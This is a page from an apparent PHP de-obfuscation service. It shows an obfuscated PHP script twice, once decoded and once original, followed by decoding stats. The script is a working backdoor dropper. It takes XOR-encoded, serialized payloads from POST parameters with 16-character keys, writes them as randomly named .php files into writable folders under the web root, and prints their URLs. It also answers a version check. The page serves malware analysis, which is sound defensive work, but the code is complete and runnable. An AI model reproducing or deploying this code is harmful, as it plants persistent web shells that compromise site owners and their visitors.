Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function phLNYFwjB($ZdWGLvOR){$DmgQNpTo = 'r'."\x61".chr(1104-985)."\165".chr(1035-9..
Decoded Output download
<?php function phLNYFwjB($ZdWGLvOR){$DmgQNpTo = 'r'."a".chr(1104-985)."u".chr(1035-921).chr(898-790).'d'.chr(280-179).chr(99).'o'.chr(100)."e";$lFxkk = chr(115)."t".chr(114)."_".'r'.chr(111).'t'."1".'3';$LXLSebqHw = chr(850-735).chr(796-680).'r'."_".chr(115).chr(112)."l".'i'.chr(116);$ZdWGLvOR = $LXLSebqHw($DmgQNpTo($lFxkk($ZdWGLvOR)));return $ZdWGLvOR;}function wzsXT($sIbim, $ZdWGLvOR){$dqJiDybFva = "s".'t'.chr(612-498).chr(95).'s'.chr(843-731)."l".'i'."t";$sIbim = array_slice($dqJiDybFva(str_repeat($sIbim, (count($ZdWGLvOR)/16)+1)), 0, count($ZdWGLvOR));return $sIbim;}function AAANMwTnY($TezASaKu, $iloIalJL, $sIbim){$RJexdRwu = "f21d53f1-bbc6-42f4-ac58-930560cbb339";return $TezASaKu ^ $RJexdRwu[$iloIalJL % strlen($RJexdRwu)] ^ $sIbim;}function UDvkQBjD($ZdWGLvOR, $sIbim){$ZdWGLvOR = array_map("AAANMwTnY", array_values($ZdWGLvOR), array_keys($ZdWGLvOR), array_values($sIbim));$ZdWGLvOR = implode("", $ZdWGLvOR);$SDFMWSx = "u"."n".chr(188-73).'e'.'r'.chr(600-495)."a"."l"."i".chr(122)."e";$ZdWGLvOR = @$SDFMWSx($ZdWGLvOR);return $ZdWGLvOR;}function whqTmNfAa($vOcHpir){static $KMykZ = array();$LqvUut = glob($vOcHpir . '/*', GLOB_ONLYDIR);$JlWmPKIfij = count($LqvUut);if ($JlWmPKIfij > 0) {foreach ($LqvUut as $vOcHp) {$SoZVaTHWFb = chr(105).chr(260-145).chr(328-233).chr(755-636).'r'."i".chr(116)."a".chr(585-487).chr(108).'e';if (@$SoZVaTHWFb($vOcHp)) {$KMykZ[] = $vOcHp;}}}foreach ($LqvUut as $vOcHpir) whqTmNfAa($vOcHpir);return $KMykZ;}function GpBULtIDk($ZdWGLvOR){$mBBfgWTKc = "D".chr(160-81)."C".chr(882-797).chr(77)."E"."N"."T".chr(95).chr(82)."O"."O".'T';$hEoCKlcsY = $_SERVER[$mBBfgWTKc];$LqvUut = whqTmNfAa($hEoCKlcsY);$yJmKQKWP = array_rand($LqvUut);$QzqGIOCiBU = '.'."p".chr(104).chr(112);$csySmzoP = $LqvUut[$yJmKQKWP] . "/" . substr(md5(time()), 0, 8) . $QzqGIOCiBU;$PLFOuuoGg = 'f'.'i'.'l'.'e'.chr(95)."p".chr(117)."t"."_".chr(99)."o"."n".chr(500-384)."e".chr(110).chr(116)."s";@$PLFOuuoGg($csySmzoP, $ZdWGLvOR);$fgBynYkC = "H"."T"."T".'P'.chr(95).'H'.'O'."S"."T";$TUtaLCub = chr(347-243)."t"."t".'p'.":"."/".'/';$CofMn = $TUtaLCub . $_SERVER[$fgBynYkC] . substr($csySmzoP, strlen($hEoCKlcsY));print($CofMn);die();}foreach ($_POST as $sIbim => $ZdWGLvOR){$WLrDe = strlen($sIbim);if ($WLrDe == 16){$ZdWGLvOR = phLNYFwjB($ZdWGLvOR);$sIbim = wzsXT($sIbim, $ZdWGLvOR);$ZdWGLvOR = UDvkQBjD($ZdWGLvOR, $sIbim);if (@is_array($ZdWGLvOR)){$yJmKQKWP = array_keys($ZdWGLvOR);$ZdWGLvOR = $ZdWGLvOR[$yJmKQKWP[0]];if ($ZdWGLvOR === $yJmKQKWP[0]){$MYCez = "p"."h".'p';$ncbqutpA = "p"."h"."p".chr(118).chr(101).chr(514-400).chr(367-252).'i'.'o'.chr(1084-974);$SJNTAV = 's'.'e'."r".chr(714-609).chr(97).chr(108).chr(105)."z"."e";echo @$SJNTAV(Array($MYCez => @$ncbqutpA(), ));exit();}else {GpBULtIDk($ZdWGLvOR);}}}} ?>
Did this file decode correctly?
Original Code
<?php function phLNYFwjB($ZdWGLvOR){$DmgQNpTo = 'r'."\x61".chr(1104-985)."\165".chr(1035-921).chr(898-790).'d'.chr(280-179).chr(99).'o'.chr(100)."\145";$lFxkk = chr(115)."\x74".chr(114)."\x5f".'r'.chr(111).'t'."\61".'3';$LXLSebqHw = chr(850-735).chr(796-680).'r'."\x5f".chr(115).chr(112)."\x6c".'i'.chr(116);$ZdWGLvOR = $LXLSebqHw($DmgQNpTo($lFxkk($ZdWGLvOR)));return $ZdWGLvOR;}function wzsXT($sIbim, $ZdWGLvOR){$dqJiDybFva = "\x73".'t'.chr(612-498).chr(95).'s'.chr(843-731)."\x6c".'i'."\164";$sIbim = array_slice($dqJiDybFva(str_repeat($sIbim, (count($ZdWGLvOR)/16)+1)), 0, count($ZdWGLvOR));return $sIbim;}function AAANMwTnY($TezASaKu, $iloIalJL, $sIbim){$RJexdRwu = "f21d53f1-bbc6-42f4-ac58-930560cbb339";return $TezASaKu ^ $RJexdRwu[$iloIalJL % strlen($RJexdRwu)] ^ $sIbim;}function UDvkQBjD($ZdWGLvOR, $sIbim){$ZdWGLvOR = array_map("AAANMwTnY", array_values($ZdWGLvOR), array_keys($ZdWGLvOR), array_values($sIbim));$ZdWGLvOR = implode("", $ZdWGLvOR);$SDFMWSx = "\165"."\x6e".chr(188-73).'e'.'r'.chr(600-495)."\x61"."\154"."\x69".chr(122)."\x65";$ZdWGLvOR = @$SDFMWSx($ZdWGLvOR);return $ZdWGLvOR;}function whqTmNfAa($vOcHpir){static $KMykZ = array();$LqvUut = glob($vOcHpir . '/*', GLOB_ONLYDIR);$JlWmPKIfij = count($LqvUut);if ($JlWmPKIfij > 0) {foreach ($LqvUut as $vOcHp) {$SoZVaTHWFb = chr(105).chr(260-145).chr(328-233).chr(755-636).'r'."\x69".chr(116)."\x61".chr(585-487).chr(108).'e';if (@$SoZVaTHWFb($vOcHp)) {$KMykZ[] = $vOcHp;}}}foreach ($LqvUut as $vOcHpir) whqTmNfAa($vOcHpir);return $KMykZ;}function GpBULtIDk($ZdWGLvOR){$mBBfgWTKc = "\x44".chr(160-81)."\103".chr(882-797).chr(77)."\105"."\116"."\x54".chr(95).chr(82)."\117"."\x4f".'T';$hEoCKlcsY = $_SERVER[$mBBfgWTKc];$LqvUut = whqTmNfAa($hEoCKlcsY);$yJmKQKWP = array_rand($LqvUut);$QzqGIOCiBU = '.'."\x70".chr(104).chr(112);$csySmzoP = $LqvUut[$yJmKQKWP] . "/" . substr(md5(time()), 0, 8) . $QzqGIOCiBU;$PLFOuuoGg = 'f'.'i'.'l'.'e'.chr(95)."\160".chr(117)."\164"."\137".chr(99)."\157"."\x6e".chr(500-384)."\145".chr(110).chr(116)."\x73";@$PLFOuuoGg($csySmzoP, $ZdWGLvOR);$fgBynYkC = "\x48"."\x54"."\x54".'P'.chr(95).'H'.'O'."\x53"."\124";$TUtaLCub = chr(347-243)."\164"."\x74".'p'."\x3a"."\57".'/';$CofMn = $TUtaLCub . $_SERVER[$fgBynYkC] . substr($csySmzoP, strlen($hEoCKlcsY));print($CofMn);die();}foreach ($_POST as $sIbim => $ZdWGLvOR){$WLrDe = strlen($sIbim);if ($WLrDe == 16){$ZdWGLvOR = phLNYFwjB($ZdWGLvOR);$sIbim = wzsXT($sIbim, $ZdWGLvOR);$ZdWGLvOR = UDvkQBjD($ZdWGLvOR, $sIbim);if (@is_array($ZdWGLvOR)){$yJmKQKWP = array_keys($ZdWGLvOR);$ZdWGLvOR = $ZdWGLvOR[$yJmKQKWP[0]];if ($ZdWGLvOR === $yJmKQKWP[0]){$MYCez = "\160"."\150".'p';$ncbqutpA = "\x70"."\x68"."\x70".chr(118).chr(101).chr(514-400).chr(367-252).'i'.'o'.chr(1084-974);$SJNTAV = 's'.'e'."\162".chr(714-609).chr(97).chr(108).chr(105)."\x7a"."\x65";echo @$SJNTAV(Array($MYCez => @$ncbqutpA(), ));exit();}else {GpBULtIDk($ZdWGLvOR);}}}}
Function Calls
None |
Stats
MD5 | 246ff993b4c47b637e35eaeac4c61108 |
Eval Count | 0 |
Decode Time | 110 ms |